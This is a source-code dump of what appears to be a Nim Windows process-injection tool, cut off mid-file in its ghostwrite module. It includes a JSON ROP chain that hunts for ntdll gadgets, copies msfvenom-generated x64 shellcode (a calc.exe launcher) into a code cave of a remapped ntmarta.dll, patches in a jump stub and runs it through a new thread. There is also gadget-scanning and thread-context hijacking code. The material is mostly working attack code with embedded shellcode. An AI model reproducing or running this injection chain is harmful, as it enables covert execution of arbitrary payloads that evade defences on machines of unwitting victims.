├── .gitignore ├── LICENSE ├── Modules ├── defaults.nim ├── gadgets.nim ├── ghostwrite.nim ├── hg.nim ├── memory.nim ├── pe.nim ├── syscalls.nim ├── typedefs.nim ├── utility.nim └── winapi.nim ├── README.md ├── config.nims ├── injector.nim └── testdllexec.nim /.gitignore: -------------------------------------------------------------------------------- 1 | nimcache/ 2 | nimblecache/ 3 | htmldocs/ 4 | -------------------------------------------------------------------------------- /LICENSE: -------------------------------------------------------------------------------- 1 | Copyright (c) 2021 Braxton Marshall 2 | All rights reserved. 3 | 4 | Redistribution and use in source and binary forms, with or without 5 | modification, are permitted provided that the following conditions are met: 6 | 7 | 1. Redistributions of source code must retain the above copyright notice, this 8 | list of conditions and the following disclaimer. 9 | 10 | 2. Redistributions in binary form must reproduce the above copyright notice, 11 | this list of conditions and the following disclaimer in the documentation 12 | and/or other materials provided with the distribution. 13 | 14 | THIS SOFTWARE IS PROVIDED BY THE COPYRIGHT HOLDERS AND CONTRIBUTORS "AS IS" AND 15 | ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE IMPLIEDi 16 | WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE ARE 17 | DISCLAIMED. IN NO EVENT SHALL THE COPYRIGHT HOLDER OR CONTRIBUTORS BE LIABLE FOR 18 | ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL DAMAGES 19 | (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS OR SERVICES; 20 | LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) HOWEVER CAUSED AND 21 | ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT LIABILITY, OR TORT 22 | (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY OUT OF THE USE OF THIS 23 | SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF SUCH DAMAGE. 24 | -------------------------------------------------------------------------------- /Modules/defaults.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import json 7 | 8 | proc ExampleROP*() : string = 9 | #[ 10 | Example ROP Chain: Uses the unmap/map execution technique. 11 | ]# 12 | let 13 | Node : JsonNode = %* 14 | { 15 | "Memorys": 16 | [ 17 | 18 | ], 19 | "Payloads": 20 | [ 21 | { 22 | "Label": "JumpStub", 23 | "Bytes": "0xE9,0x1B,0x0D,0x01,0x00", 24 | "StoreLocation": "Stack", 25 | "StoreOffset": -0x100 26 | }, 27 | { 28 | "Label": "PopCalcLOL", 29 | "Bytes": 30 | [ 31 | #msfvenom -p windows/x64/exec CMD=calc.exe --arch x64 --platform windows EXITFUNC=thread -f csharp 32 | "0xfc,0x48,0x83,0xe4,0xf0,0xe8,0xc0,0x00,0x00,0x00,0x41,0x51,0x41,0x50,0x52", 33 | "0x51,0x56,0x48,0x31,0xd2,0x65,0x48,0x8b,0x52,0x60,0x48,0x8b,0x52,0x18,0x48", 34 | "0x8b,0x52,0x20,0x48,0x8b,0x72,0x50,0x48,0x0f,0xb7,0x4a,0x4a,0x4d,0x31,0xc9", 35 | "0x48,0x31,0xc0,0xac,0x3c,0x61,0x7c,0x02,0x2c,0x20,0x41,0xc1,0xc9,0x0d,0x41", 36 | "0x01,0xc1,0xe2,0xed,0x52,0x41,0x51,0x48,0x8b,0x52,0x20,0x8b,0x42,0x3c,0x48", 37 | "0x01,0xd0,0x8b,0x80,0x88,0x00,0x00,0x00,0x48,0x85,0xc0,0x74,0x67,0x48,0x01", 38 | "0xd0,0x50,0x8b,0x48,0x18,0x44,0x8b,0x40,0x20,0x49,0x01,0xd0,0xe3,0x56,0x48", 39 | "0xff,0xc9,0x41,0x8b,0x34,0x88,0x48,0x01,0xd6,0x4d,0x31,0xc9,0x48,0x31,0xc0", 40 | "0xac,0x41,0xc1,0xc9,0x0d,0x41,0x01,0xc1,0x38,0xe0,0x75,0xf1,0x4c,0x03,0x4c", 41 | "0x24,0x08,0x45,0x39,0xd1,0x75,0xd8,0x58,0x44,0x8b,0x40,0x24,0x49,0x01,0xd0", 42 | "0x66,0x41,0x8b,0x0c,0x48,0x44,0x8b,0x40,0x1c,0x49,0x01,0xd0,0x41,0x8b,0x04", 43 | "0x88,0x48,0x01,0xd0,0x41,0x58,0x41,0x58,0x5e,0x59,0x5a,0x41,0x58,0x41,0x59", 44 | "0x41,0x5a,0x48,0x83,0xec,0x20,0x41,0x52,0xff,0xe0,0x58,0x41,0x59,0x5a,0x48", 45 | "0x8b,0x12,0xe9,0x57,0xff,0xff,0xff,0x5d,0x48,0xba,0x01,0x00,0x00,0x00,0x00", 46 | "0x00,0x00,0x00,0x48,0x8d,0x8d,0x01,0x01,0x00,0x00,0x41,0xba,0x31,0x8b,0x6f", 47 | "0x87,0xff,0xd5,0xbb,0xe0,0x1d,0x2a,0x0a,0x41,0xba,0xa6,0x95,0xbd,0x9d,0xff", 48 | "0xd5,0x48,0x83,0xc4,0x28,0x3c,0x06,0x7c,0x0a,0x80,0xfb,0xe0,0x75,0x05,0xbb", 49 | "0x47,0x13,0x72,0x6f,0x6a,0x00,0x59,0x41,0x89,0xda,0xff,0xd5,0x63,0x61,0x6c", 50 | "0x63,0x2e,0x65,0x78,0x65,0x00" 51 | ], 52 | "StoreLocation": "Stack", 53 | "StoreOffset": -0x500 54 | } 55 | ], 56 | "Gadgets": 57 | [ 58 | { 59 | "Name": "DefaultAdd", 60 | "BytePattern": "0x49,0x03,0xC0,0xC3", 61 | "GadgetModule": "ntdll.dll", 62 | "GadgetType": "Add", 63 | "Volatile": false, 64 | "DestinationRegister": "RAX", 65 | "SourceRegister": "R8", 66 | }, 67 | { 68 | "Name": "DefaultSink", 69 | "BytePattern": "0xEB,0xFE", 70 | "GadgetModule": "ntdll.dll", 71 | "GadgetType": "Sink", 72 | "Volatile": false, 73 | "DestinationRegister": "REL", 74 | "SourceRegister": "REL", 75 | }, 76 | { 77 | "Name": "DefaultBigPivot", 78 | "BytePattern": "0x48,0x83,0xc4,0x58,0xc3", 79 | "GadgetModule": "ntdll.dll", 80 | "GadgetType": "AddImmediate", 81 | "Volatile": false, 82 | "DestinationRegister": "RSP", 83 | "SourceRegister": "REL", 84 | }, 85 | { 86 | "Name": "DefaultSmallPivot", 87 | "BytePattern": "0x48,0x83,0xc4,0x38,0xc3", 88 | "GadgetModule": "ntdll.dll", 89 | "GadgetType": "AddImmediate", 90 | "Volatile": false, 91 | "DestinationRegister": "RSP", 92 | "SourceRegister": "REL", 93 | }, 94 | { 95 | "Name": "DefaultSetR8", 96 | "BytePattern": "0x41,0x58,0xc3", 97 | "GadgetModule": "ntdll.dll", 98 | "GadgetType": "LoadImmediate", 99 | "Volatile": true, 100 | "DestinationRegister": "R8", 101 | "SourceRegister": "R8" 102 | }, 103 | { 104 | "Name": "DefaultPopRegs", 105 | "BytePattern": "0x58,0x5a,0x59,0x41,0x58,0x41,0x59,0x41,0x5a,0x41,0x5b,0xc3", 106 | "GadgetModule": "ntdll.dll", 107 | "GadgetType": "LoadImmediate", 108 | "Volatile": true, 109 | "DestinationRegister": "R11", 110 | "SourceRegister": "RAX", 111 | }, 112 | { 113 | "Name": "DefaultStoreRax", 114 | "BytePattern": "0x49,0x89,0x00,0xc3", 115 | "GadgetModule": "ntdll.dll", 116 | "GadgetType": "Store", 117 | "Volatile": true, 118 | "DestinationRegister": "R8", 119 | "SourceRegister": "RAX", 120 | }, 121 | { 122 | "Name": "DefaultWrite", 123 | "BytePattern": "0x48,0x89,0x11,0xc3", 124 | "GadgetModule": "ntdll.dll", 125 | "ModuleOffset": 0x13d66, 126 | "GadgetType": "MainStore", 127 | "Volatile": true, 128 | "DestinationRegister": "RCX", 129 | "SourceRegister": "RDX", 130 | } 131 | ], 132 | "StartContext": 133 | { 134 | "Target": {"Type": "Gadget", "Value": "DefaultSink", "Offset": 0}, 135 | "RIP": {"Type": "Gadget", "Value": "DefaultWrite", "Offset": 3}, 136 | "RSP": {"Type": "Memory", "Value": "Stack", "Offset": 0x8} 137 | }, 138 | "CodeChain": 139 | [ 140 | # WriteModuleBaseToStack 141 | [ 142 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs", "GadgetOffset": 0}, 143 | 144 | # RAX = Source 145 | {"Type": "Module", "Location": "Stack", "Value": "ntmarta.dll"}, 146 | 147 | # RCX, RDX 148 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 149 | 150 | # R8 = Dest 151 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": -0x18}, 152 | 153 | # R9, R10, R11 154 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 155 | 156 | # RET 157 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 158 | ], 159 | # GetFileMapping 160 | [ 161 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 162 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 163 | {"Type": "Int", "Location": "Stack", "Value": -1}, 164 | {"Type": "Int", "Location": "Stack", "Value": 64}, 165 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 166 | {"Type": "Function", "Location": "Stack", "Value": "CreateFileMappingA", "Module": "KERNEL32.DLL"} 167 | ], 168 | # CreateFileMappingA 169 | [ 170 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 171 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 172 | {"Type": "ModuleSize", "Location": "Stack", "Value": "ntmarta.dll"}, 173 | {"Type": "Int", "Location": "Stack", "Value": 0}, 174 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 175 | ], 176 | # SaveFileMapping 177 | [ 178 | # First Save 179 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 180 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": 0x488}, 181 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 182 | 183 | # Second Save 184 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 185 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": 0x120}, 186 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 187 | ], 188 | # GetMapViewOfFile 189 | [ 190 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 191 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 192 | {"Type": "Int", "Location": "Stack", "Value": 983071}, 193 | {"Type": "Int", "Location": "Stack", "Value": 0}, 194 | {"Type": "Int", "Location": "Stack", "Value": 0}, 195 | {"Type": "Int", "Location": "Stack", "Value": 0}, 196 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 197 | {"Type": "Function", "Location": "Stack", "Value": "MapViewOfFile", "Module": "KERNEL32.DLL"} 198 | ], 199 | # MapViewOfFile 200 | [ 201 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 202 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 203 | {"Type": "Int", "Location": "Stack", "Value": 0}, 204 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 205 | ], 206 | # SaveMappedViewOfFile 207 | [ 208 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 209 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": 0x208}, 210 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 211 | 212 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 213 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": 0x308}, 214 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 215 | ], 216 | # LoadCodeCave 217 | [ 218 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 219 | {"Type": "CodeCaveRVA", "Location": "Stack", "Value": "ntmarta.dll", "Section": ".text"}, 220 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultAdd"}, 221 | ], 222 | # SaveMappedCodeCave 223 | [ 224 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 225 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": 0x290}, 226 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 227 | ], 228 | # CopyModuleToMappedFile 229 | [ 230 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 231 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 232 | {"Type": "Module", "Location": "Stack", "Value": "ntmarta.dll"}, 233 | {"Type": "Int", "Location": "Stack", "Value": 0}, 234 | {"Type": "ModuleSize", "Location": "Stack", "Value": "ntmarta.dll"}, 235 | {"Type": "Int", "Location": "Stack", "Value": 0}, 236 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 237 | {"Type": "Function", "Location": "Stack", "Value": "RtlCopyMemory", "Module": "ntdll.dll"} 238 | ], 239 | # RtlCopyMemory 240 | [ 241 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 242 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 243 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 244 | ], 245 | # CopyPayloadtoModuleCodeCave 246 | [ 247 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 248 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 249 | {"Type": "Payload", "Location": "Stack", "Value": "PopCalcLOL"}, 250 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 251 | {"Type": "PayloadSize", "Location": "Stack", "Value": "PopCalcLOL"}, 252 | {"Type": "Int", "Location": "Stack", "Value": 0}, 253 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 254 | {"Type": "Function", "Location": "Stack", "Value": "RtlCopyMemory", "Module": "ntdll.dll"} 255 | ], 256 | # RtlCopyMemory 257 | [ 258 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 259 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 260 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 261 | ], 262 | # SetBaseMapAddress 263 | [ 264 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 265 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 266 | {"Type": "FunctionRVA", "Location": "Stack", "Value": "GetExplicitEntriesFromAclW", "Module": "ntmarta.dll"}, 267 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 268 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultAdd"}, 269 | ], 270 | # SaveMappedFunctionAddress 271 | [ 272 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 273 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": 0x378}, 274 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 275 | ], 276 | # CopyJumpStubToModuleFunction 277 | [ 278 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 279 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 280 | {"Type": "Payload", "Location": "Stack", "Value": "JumpStub"}, 281 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 282 | {"Type": "PayloadSize", "Location": "Stack", "Value": "JumpStub"}, 283 | {"Type": "Int", "Location": "Stack", "Value": 0}, 284 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 285 | {"Type": "Function", "Location": "Stack", "Value": "RtlCopyMemory", "Module": "ntdll.dll"} 286 | ], 287 | # RtlCopyMemory 288 | [ 289 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 290 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 291 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 292 | ], 293 | # UnmapViewOfModule 294 | [ 295 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 296 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 297 | {"Type": "Module", "Location": "Stack", "Value": "ntmarta.dll"}, 298 | {"Type": "Int", "Location": "Stack", "Value": -1}, 299 | {"Type": "Int", "Location": "Stack", "Value": 0}, 300 | {"Type": "Int", "Location": "Stack", "Value": 0}, 301 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 302 | {"Type": "Function", "Location": "Stack", "Value": "NtUnmapViewOfSection", "Module": "ntdll.dll"} 303 | ], 304 | # NtUnmapViewOfSection 305 | [ 306 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 307 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 308 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 309 | ], 310 | # "ReMapViewOfFile" 311 | [ 312 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 313 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 314 | {"Type": "Int", "Location": "Stack", "Value": -1}, 315 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 316 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": -0x18}, 317 | {"Type": "Int", "Location": "Stack", "Value": 0}, 318 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 319 | {"Type": "Function", "Location": "Stack", "Value": "NtMapViewOfSection", "Module": "ntdll.dll"} 320 | ], 321 | # NtMapViewOfSection 322 | [ 323 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultBigPivot"}, 324 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 325 | {"Type": "ModuleSize", "Location": "Stack", "Value": "ntmarta.dll"}, 326 | {"Type": "Int", "Location": "Stack", "Value": 0}, 327 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": -0x10}, 328 | {"Type": "Int", "Location": "Stack", "Value": 0x02}, 329 | {"Type": "Int", "Location": "Stack", "Value": 0}, 330 | {"Type": "Int", "Location": "Stack", "Value": 0x40}, 331 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 332 | ], 333 | # FlushInstructions 334 | [ 335 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 336 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 337 | {"Type": "Module", "Location": "Stack", "Value": "ntmarta.dll"}, 338 | {"Type": "Int", "Location": "Stack", "Value": -1}, 339 | {"Type": "ModuleSize", "Location": "Stack", "Value": "ntmarta.dll"}, 340 | {"Type": "Int", "Location": "Stack", "Value": 0}, 341 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 342 | {"Type": "Function", "Location": "Stack", "Value": "NtFlushInstructionCache", "Module": "ntdll.dll"} 343 | ], 344 | # NtFlushInstructionCache 345 | [ 346 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 347 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 348 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 349 | ], 350 | # CreateThreadArgs 351 | [ 352 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 353 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 354 | {"Type": "Int", "Location": "Stack", "Value": 0}, 355 | {"Type": "Int", "Location": "Stack", "Value": 0}, 356 | {"Type": "Function", "Location": "Stack", "Value": "GetExplicitEntriesFromAclW", "Module": "ntmarta.dll"}, 357 | {"Type": "Int", "Location": "Stack", "Value": 0}, 358 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 359 | {"Type": "Function", "Location": "Stack", "Value": "CreateThread", "Module": "KERNEL32.DLL"} 360 | ], 361 | # CreateThread 362 | [ 363 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 364 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 365 | {"Type": "Int", "Location": "Stack", "Value": 0}, 366 | {"Type": "Int", "Location": "Stack", "Value": 0}, 367 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 368 | ], 369 | # SaveThreadHandle 370 | [ 371 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSetR8"}, 372 | {"Type": "Memory", "Location": "Stack", "Value": "Stack", "MemoryOffset": 0x658}, 373 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultStoreRax"}, 374 | ], 375 | # WaitForThreadArgs 376 | [ 377 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultPopRegs"}, 378 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 379 | {"Type": "Int", "Location": "Stack", "Value": 0}, 380 | {"Type": "DONTCARE", "Location": "Stack", "Value": 1}, 381 | {"Type": "Int", "Location": "Stack", "Value": 0}, 382 | {"Type": "Int", "Location": "Stack", "Value": 0}, 383 | {"Type": "DONTCARE", "Location": "Stack", "Value": 2}, 384 | {"Type": "Function", "Location": "Stack", "Value": "NtWaitForSingleObject", "Module": "ntdll.dll"}, 385 | ], 386 | # NtWaitForSingleObject 387 | [ 388 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSmallPivot"}, 389 | {"Type": "SHADOWSPACE", "Location": "Stack"}, 390 | {"Type": "DONTCARE", "Location": "Stack", "Value": 3}, 391 | {"Type": "Gadget", "Location": "Stack", "Value": "DefaultSink"} 392 | ] 393 | ] 394 | } 395 | result = $Node 396 | 397 | 398 | proc ExampleJOP*() : string = 399 | #[ 400 | TODO 401 | ]# 402 | let 403 | Node : JsonNode = %* 404 | { 405 | 406 | } 407 | 408 | 409 | 410 | 411 | result = $Node -------------------------------------------------------------------------------- /Modules/gadgets.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import json, strutils 7 | import winim/[winstr] 8 | import typedefs, utility, pe 9 | from winim/inc/winbase import LoadLibrary, FreeLibrary 10 | 11 | iterator resolveModules*(GadgetSequence: seq[Gadget], LoadedModules: var seq[HMODULE]): HMODULE = 12 | var 13 | ModuleHandle : HMODULE 14 | for Gadget in GadgetSequence: 15 | ModuleHandle = Gadget.ModuleName.GetLocalModule 16 | if ModuleHandle != 0: 17 | yield ModuleHandle 18 | else: 19 | ModuleHandle = LoadLibrary(+$Gadget.ModuleName) 20 | if ModuleHandle != 0: 21 | LoadedModules.add(ModuleHandle) 22 | yield ModuleHandle 23 | 24 | func GetMainStore*(GadgetSequence: seq[Gadget]): Gadget = 25 | result = nil 26 | for Gadget in GadgetSequence: 27 | if Gadget.Type == GadgetType.MainStore: 28 | result = Gadget 29 | return 30 | 31 | func GetSink*(GadgetSequence: seq[Gadget]): Gadget = 32 | result = nil 33 | for Gadget in GadgetSequence: 34 | if Gadget.Type == GadgetType.Sink: 35 | result = Gadget 36 | return 37 | 38 | func GetGadgetByName*(GadgetSequence: seq[Gadget], Name: string): Gadget = 39 | result = nil 40 | for Gadget in GadgetSequence: 41 | if Gadget.Name == Name: 42 | result = Gadget 43 | return 44 | 45 | func allGadgetsFound(GadgetSequence: seq[Gadget]): bool = 46 | result = true 47 | for Gadget in GadgetSequence: 48 | if Gadget.Address == 0: 49 | result = false 50 | return 51 | 52 | func Unload(LoadedModules: seq[HMODULE]) = 53 | for Module in LoadedModules: 54 | FreeLibrary(Module) 55 | 56 | func FindInstruction(pAddr: int, gadget: Gadget): bool = 57 | result = true 58 | for i in 0 ..< gadget.BytePattern.len(): 59 | if (pAddr-->i) != gadget.BytePattern[i]: 60 | result = false 61 | return 62 | gadget.Address = pAddr 63 | 64 | func InitializeGadgets*(GadgetSequence: seq[Gadget]) = 65 | var 66 | LoadedModulesSeq : seq[HMODULE] = newSeq[HMODULE]() 67 | 68 | for Module in GadgetSequence.resolveModules(LoadedModulesSeq): 69 | var 70 | BaseOfCode : int = Module.GetBaseOfCode 71 | BaseOfCodeSize : DWORD = Module.ImageNtHeader.OptionalHeader.SizeOfCode 72 | Index : int = 0 73 | CurrentAddress : int 74 | if BaseOfCode == 0 or BaseOfCodeSize == 0: 75 | debugEcho "[-] BaseOfCode/SizeOfCode is not found..." 76 | return 77 | while Index < BaseOfCodeSize: 78 | if GadgetSequence.allGadgetsFound: 79 | LoadedModulesSeq.Unload 80 | return 81 | CurrentAddress = BaseOfCode +% Index 82 | for Gadget in GadgetSequence: 83 | # Gadget already found 84 | if Gadget.Address != 0: 85 | continue 86 | if FindInstruction(CurrentAddress, Gadget): 87 | Index += Gadget.BytePattern.len() 88 | continue 89 | inc Index 90 | LoadedModulesSeq.Unload 91 | 92 | func newGadget*(pattern: seq[byte], gtype: GadgetType, gModule, name: string, vol: bool = true, srcRM, dstRM: Register, address: int = 0): Gadget = 93 | result = Gadget( 94 | BytePattern : pattern, 95 | Type : gtype, 96 | ModuleName : gModule, 97 | Name : name, 98 | Volatile : vol, 99 | SourceRegister : srcRM, 100 | DestinationRegister : dstRM, 101 | Address : address) 102 | 103 | func setContext*(node: string, nodeVal: int, ctx: PCONTEXT) {.raises: [ValueError].} = 104 | 105 | if node.len() == 0: 106 | raise newException(ValueError, "Missing string from json node") 107 | 108 | case node: 109 | of "RIP": 110 | ctx.Rip = nodeVal 111 | of "RSP": 112 | ctx.Rsp = nodeVal 113 | of "RBP": 114 | ctx.Rbp = nodeVal 115 | of "RAX": 116 | ctx.Rax = nodeVal 117 | of "RBX": 118 | ctx.Rbx = nodeVal 119 | of "RCX": 120 | ctx.Rcx = nodeVal 121 | of "RDX": 122 | ctx.Rdx = nodeVal 123 | of "R8": 124 | ctx.R8 = nodeVal 125 | of "R9": 126 | ctx.R9 = nodeVal 127 | of "R10": 128 | ctx.R10 = nodeVal 129 | of "R11": 130 | ctx.R11 = nodeVal 131 | of "R12": 132 | ctx.R12 = nodeVal 133 | of "R13": 134 | ctx.R13 = nodeVal 135 | of "R14": 136 | ctx.R14 = nodeVal 137 | of "R15": 138 | ctx.R15 = nodeVal 139 | of "RDI": 140 | ctx.Rdi = nodeVal 141 | of "RSI": 142 | ctx.Rsi = nodeVal 143 | else: 144 | raise newException(ValueError, "Missing valid register") 145 | 146 | func getRegister*(node: JsonNode): Register = 147 | var 148 | nodeStr : string = node.getStr() 149 | result = parseEnum[Register](nodeStr) 150 | 151 | func getGadgetType*(node: JsonNode): GadgetType = 152 | var 153 | nodeStr : string = node.getStr() 154 | result = parseEnum[GadgetType](nodeStr) 155 | -------------------------------------------------------------------------------- /Modules/ghostwrite.nim: -------------------------------------------------------------------------------- 1 | #[ 2 | Author: zimawhit3 3 | Github: https://github.com/zimawhit3 4 | License: BSD 3-Clause 5 | ]# 6 | import winim/inc/[winbase, winuser] 7 | import winim/[winstr, utils] 8 | import json, strformat, strutils, tables 9 | import typedefs, winapi, utility, memory, pe, hg, gadgets 10 | 11 | export typedefs, winapi, utility, memory, pe, hg, gadgets, 12 | json, strutils, winuser, winbase, winstr, utils, strformat 13 | 14 | iterator subPayload*(Payload : seq[byte]) : int = 15 | let 16 | Iterations = Payload.len div int.sizeof 17 | var 18 | Index : int 19 | for i in 0 ..< Iterations: 20 | Index = i * int.sizeof 21 | yield cast[ptr int](Payload[Index].unsafeAddr)[] 22 | 23 | func AddShadowSpace(StoreLocation : var seq[MemoryWrite], CurrentAddress : var int) = 24 | for i in 0 .. 3: 25 | let 26 | MemWrite : MemoryWrite = MemoryWrite(WriteWhat: 0, WriteWhere: CurrentAddress) 27 | StoreLocation.add(MemWrite) 28 | CurrentAddress += int.sizeof 29 | 30 | func GetPayload*(Payloads : seq[Payload], PayloadLabel : string): Payload = 31 | result = nil 32 | for Payload in Payloads: 33 | if Payload.Label == PayloadLabel: 34 | result = Payload 35 | 36 | func newPayload*(Label : string, Bytes : var seq[byte], StoreLocation : RWMemory, StoreOffset : int) : Payload = 37 | Bytes.alignByteBoundary 38 | result = Payload( 39 | Label : Label, 40 | Bytes : Bytes, 41 | Size : Bytes.len, 42 | StoreLocation : StoreLocation, 43 | StoreOffset : StoreOffset 44 | ) 45 | 46 | proc ParseCtxArg(Arg: JsonNode, Gadgets: seq[Gadget], Memorys: seq[RWMemory]): int {.raises: [KeyError].} = 47 | let 48 | ArgType : string = Arg["Type"].getStr() 49 | 50 | case ArgType: 51 | of "Gadget": 52 | let 53 | GadgetLabel : string = Arg["Value"].getStr() 54 | GadgetOffset : int = Arg["Offset"].getInt() 55 | Gadgie : Gadget = Gadgets.GetGadgetByName(GadgetLabel) 56 | result = Gadgie.Address +% GadgetOffset 57 | of "Memory": 58 | let 59 | MemoryLabel : string = Arg["Value"].getStr() 60 | MemoryOffset : int = Arg["Offset"].getInt() 61 | MemoryBase : int = Memorys.getMemoryBaseAddress(MemoryLabel) 62 | result = MemoryBase +% MemoryOffset 63 | of "Int": 64 | result = Arg["Value"].getInt() 65 | else: 66 | raise newException(KeyError, "[-] Invalid Type Key..") 67 | 68 | proc ParseGadgetArg*(ProcessHandle: HANDLE, Memorys: seq[RWMemory], Gadgets: seq[Gadget], Payloads: seq[Payload], Functions: array[18, HGEntry], Arg : JsonNode) {.raises: [KeyError, OSError, ValueError].} = 69 | var 70 | ArgVal : int 71 | let 72 | ArgType : string = Arg["Type"].getStr() 73 | ArgLoc : string = Arg["Location"].getStr() 74 | ArgMem : RWMemory = getRWMemory(Memorys, ArgLoc) 75 | ArgPad : int = ArgMem.Padding 76 | 77 | case ArgType: 78 | of "CodeCave": 79 | var 80 | ModuleLabel : string = Arg["Value"].getStr() 81 | SectionLabel: string = 